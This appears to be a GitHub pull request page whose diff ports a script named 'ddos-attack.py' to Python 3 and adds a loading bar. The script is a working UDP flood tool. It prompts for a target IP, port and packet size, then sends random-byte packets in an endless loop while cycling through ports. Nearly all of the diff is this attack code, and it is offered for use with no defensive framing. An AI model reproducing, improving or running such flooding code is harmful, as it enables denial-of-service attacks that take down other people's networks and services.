Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

from python to python3 and cool loadingbar #7

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
59 changes: 35 additions & 24 deletions ddos-attack.py
Original file line number Diff line number Diff line change
Expand Up @@ -14,38 +14,49 @@

##############
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
#############

##GREETING##
os.system("clear")
os.system("figlet DDos Attack")
print
print "Author : HA-MRX"
print "You Tube : https://www.youtube.com/c/HA-MRX"
print "github : https://github.com/Ha3MrX"
print "Facebook : https://www.facebook.com/muhamad.jabar222"
print
ip = raw_input("IP Target : ")
port = input("Port : ")
print ('''
Author : HA-MRX
You Tube : https://www.youtube.com/c/HA-MRX
github : https://github.com/Ha3MrX
Facebook : https://www.facebook.com/muhamad.jabar222
''')
##GREETING##

##INPUT AND CREATE RANDOM BYTES##
ip = input("IP Target : ")
port = int(input("Port : "))
strenght = int(input("Select power(Default: 1490): "))
if(strenght != ''):
bytes = random._urandom(strenght)
else:
bytes = random._urandom(1490)
os.system("clear")
os.system("figlet Attack Starting")
print "[ ] 0% "
time.sleep(5)
print "[===== ] 25%"
time.sleep(5)
print "[========== ] 50%"
time.sleep(5)
print "[=============== ] 75%"
time.sleep(5)
print "[====================] 100%"
time.sleep(3)
##INPUT AND CREATE RANDOM BYTES##

##LOADING BAR##
statbar = 0
allbar = 50
while(statbar < 51):
os.system("figlet Attack Starting")
print ("[" + "="*statbar + ">" + " "*allbar + "]" + str(statbar*2) + "%")
statbar += 1
allbar -= 1
time.sleep(0.07)
os.system("clear")
##LOADING BAR##

##ATTACK##
sent = 0
while True:
sock.sendto(bytes, (ip,port))
sent = sent + 1
port = port + 1
print "Sent %s packet to %s throught port:%s"%(sent,ip,port)
sent += 1
port += 1
print ("Sent %s packet to %s throught port:%s"%(sent,ip,port))
if port == 65534:
port = 1

##ATTACK##